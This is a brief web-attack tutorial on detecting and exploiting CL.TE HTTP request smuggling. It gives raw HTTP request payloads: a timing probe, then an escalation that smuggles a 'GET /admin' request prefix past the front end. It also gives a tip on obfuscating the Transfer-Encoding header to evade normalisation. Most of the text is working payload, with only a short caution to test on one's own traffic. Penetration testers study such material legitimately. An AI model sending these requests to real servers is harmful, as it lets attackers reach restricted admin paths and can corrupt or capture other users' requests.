Detect CL.TE request smuggling without breaking the app

Front end uses Content-Length, back end uses Transfer-Encoding, or vice versa. A safe detection probe forces one server to hang waiting for bytes the other already closed, so a delayed response signals desync without poisoning other users.

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

If the response hangs about the socket timeout, the back end read the chunked body and is waiting for the next chunk. Escalate carefully to a smuggled prefix.

POST / HTTP/1.1
Content-Length: 61
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: x

Pro note: obfuscate the TE header (Transfer-Encoding: chunked, tab, or duplicated) since front ends often normalize the plain form. Always test on your own account traffic first to avoid trapping real users’ requests in the queue.